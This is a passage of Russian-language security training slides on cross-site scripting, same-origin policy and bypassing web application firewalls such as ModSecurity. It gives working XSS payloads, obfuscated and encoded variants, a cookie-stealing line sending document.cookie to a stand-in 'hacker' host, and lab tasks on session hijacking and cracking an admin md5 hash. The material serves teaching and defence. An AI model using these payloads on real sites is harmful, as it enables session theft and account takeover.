  • 24. document.domain = &quot;example.com&quot;; (!) Методы обхода - Anti DNS Pinning, уязвимости реализации Ограничения политики доступа ( Same origin policy ) URL Результат Причины http://www.example.com/dir/page.html Разрешено Одинаковый протокол и узел http://www.example.com/dir2/other.html Разрешено Одинаковый протокол и узел http://www.example.com:81/dir2/other.html Запрещено Одинаковый протокол и узел, но различающийся порт https://www.example.com/dir2/other.html Запрещено Различающиеся протоколы http://en.example.com/dir2/other.html Запрещено Различающиеся узлы http://example.com/dir2/other.html Запрещено Различающиеся узлы (необходимы точные соответствия) http://v2.www.example.com/dir2/other.html Запрещено Различающиеся узлы (необходимы точные соответствия)
  • 25. Для безопасности используются изолированные зоны безопасности (Sandbox security model) Легальный способ расширения зоны безопасности – это использование файла «crossdomain.xml» <cross-domain-policy> <allow-access-from domain=&quot;*&quot;/> </cross-domain-policy> Или вызов соответствующей функции System.security.loadPolicyFile (&quot;http://site/crossdomain.xml&quot;); Cross-Site Scripting ( Java/Flash ) – Базовые знания
  • 26. Потенциально небезопасные функции ActionScript: loadVariables() loadMovie() getURL() loadMovie() loadMovieNum() FScrollPane.loadScrollContent() LoadVars.load() LoadVars.send() LoadVars.sendAndLoad() MovieClip.getURL() MovieClip.loadMovie() NetConnection.connect() NetServices.createGatewayConnection() NetSteam.play() Sound.loadSound() XML.load() XML.send() XML.sendAndLoad() Cross-Site Scripting ( Java/Flash ) – Базовые знания
  • 27. Пример уязвимого кода на языке JAVA Cross-Site Scripting ( Java/Flash ) – Базовые знания
  • 28. Практическое занятие ( 2 ) http:// 192 . 168 . 0 . 51 :8 1 / Найти уязвимость типа «Межсайтовое выполнение сценариев». Воспользоваться AJAX- сценарием http:// 192.168.0.51 :8085/act.js для автоматизированной эксплуатации уязвимости «Межсайтовое выполнение сценариев». Воспользоваться уязвимостью типа «Межсайтовое выполнение сценариев» с автоматическим созданием нового пользователя в тестовом приложении. Авторизоваться под учетной записью созданного пользователя.
  • 29. Часть 3: Обход фильтров безопасности и WAF Обход фильтров безопасности и WAF
  • 30. Что такое WAF http:// server /?id=6329&print=Y Нас атакуют! Ахтунг!!! WAF Webserver http:// server /?id=5351 http:// server /?id=8234 http:// server /? id=&quot;><script>... http:// server /?id=1+union+select... http:// server /? id=/../../../etc/passwd Нормализация данных Decode HTML entities (e.g. &#99;, &quot;, &#xAA;) Escaped characters (e.g. \t, \001, \xAA, \uAABB) Null byte string termination ... Поиск сигнатуры /(sel)(ect.+fr)(om)/is /(uni)(on.+sel)(ect)/is ...
  • 31. Какие они бывают По режиму работы : Мост / Маршрутизатор Обратный прокси-сервер Встроенный По модели защиты : Основанный на сигнатуре ( Signature-based ) Основанный на правилах ( Rule-based ) По реакции на « плохой » запрос : Очистка «опасных» данных Блокировка запроса Блокировка источника атаки
  • 32. Методы обхода WAF Фундаментальные ограничения технологии Неспособность полностью защитить Web- приложение от всех возможных уязвимостей Общие проблемы Разработчикам универсальных фильтров WAF приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика Обработка возвращаемого трафика клиенту Уязвимости реализации Технологии нормализации запроса Использование новых техник эксплуатации уязвимостей в Web ( HTTP Parameter Pollution , HTTP Parameter Fragmentation , замена null-byte и т.п. )
  • 33. Общие проблемы Сохраненный вариант XSS В случае если удалось «протащить» XSS через фильтр, WAF не сможет воспрепятствовать реализации атаки Отраженный вариант XSS в JavaScript- коде (инъекция JavaScript ) Пример : <script> ... setTimeout(\&quot;writetitle()\&quot;, $_GET[xss] ) ... </script> Эксплуатация : /?xss= 500); alert(document.cookie);// DOM-based XSS Пример : <script> ... eval( $_GET[xss] ); ... </script> Эксплуатация : /?xss= document.cookie Аналогичные проблемы наблюдаются у фильтров защиты от XSS на стороне клиента client-side (например, IE8 ) Методы обхода WAF – Cross-Site Scripting
  • 34. Методы обхода WAF: Возможные способы кодирования JavaScript Пример : <script>alert(1)</script> Hex- кодирование ( URL- представление) %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E HTML- кодирование &#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E; &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#49&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62 UTF7 +ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4- … UTF8, base64, escape-encoding (style ) , etc
  • 35. Методы обхода WAF: Возможные способы кодирования JavaScript Пример с BlackHat USA09: <script> ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_) </script> BlackHat USA09 Eduardo Vela (Эдуардо Вела) , David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf;
  • 36. Методы обхода WAF: Возможные способы кодирования JavaScript http://utf-8.jp/public/jjencode.html
  • 37. Практика обхода WAF: Cross-Site Scripting Обход правил фильтрации на примере ModSecurity: 1;alert/*skip*/('XSS'); <img src=&quot;x:alert&quot; onerror=&quot;eval(src%2b'(0)')&quot;> &quot;;document.write('<img sr'%2b'c=http:// hacker /x.png?'%2bdocument['cookie']%2b'>');&quot; ... BlackHat USA09 Eduardo Vela (Эдуардо Вела) , David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf
  • 38. Практическое занятие ( 3 ) http:// 192 . 168 . 0 . 51 :8 2 / Найти уязвимость типа «Межсайтовое выполнение сценариев». Воспользоваться техникой обхода WAF. Осуществить перехват сессии администратора приложения. Восстановить используемый пароль администратора приложения по перехваченному хеш-значению md5 используемого пароля. Авторизоваться под учетной записью администратора приложения.
  • 40. Межсайтовое выполнение сценариев часто в стречается на широко известных и крупных Интернет-ресурсах Cross-Site Scripting в «живой природе»
  • 41. Резюме Cross-Site Scripting – широко распространенная ошибка, допускаемая при разработке приложений Пути устранения уязвимости типа «Межсайтовое выполнение сценариев» не всегда прозрачны Правильно выстроенный процесс Software Development Life Cycle (SDLC) в значительной степени снижает вероятность появления уязвимостей в коде Защита Web- приложений, также как и информационная безопасность в целом должна быть комплексной :)
  • 42. Дополнительные материалы и ссылки Web Application Security Consortium (WASC) http://projects.webappsec.org/Cross-Site+Scripting http://projects.webappsec.org/Script-Mapping Open Web Application Security Project (OWASP) http://www.owasp.org/index.php/Cross-site_Scripting_(XSS) ha.ckers XSS (Cross Site Scripting) Cheat Sheet http://ha.ckers.org/xss.html Jjencode http://utf-8.jp/public/jjencode.html
  • 43. Спасибо за внимание! [email_address] http://devteev.blogspot.com/ http://ptresearch.blogspot.com/ http://www.ptsecurity.ru/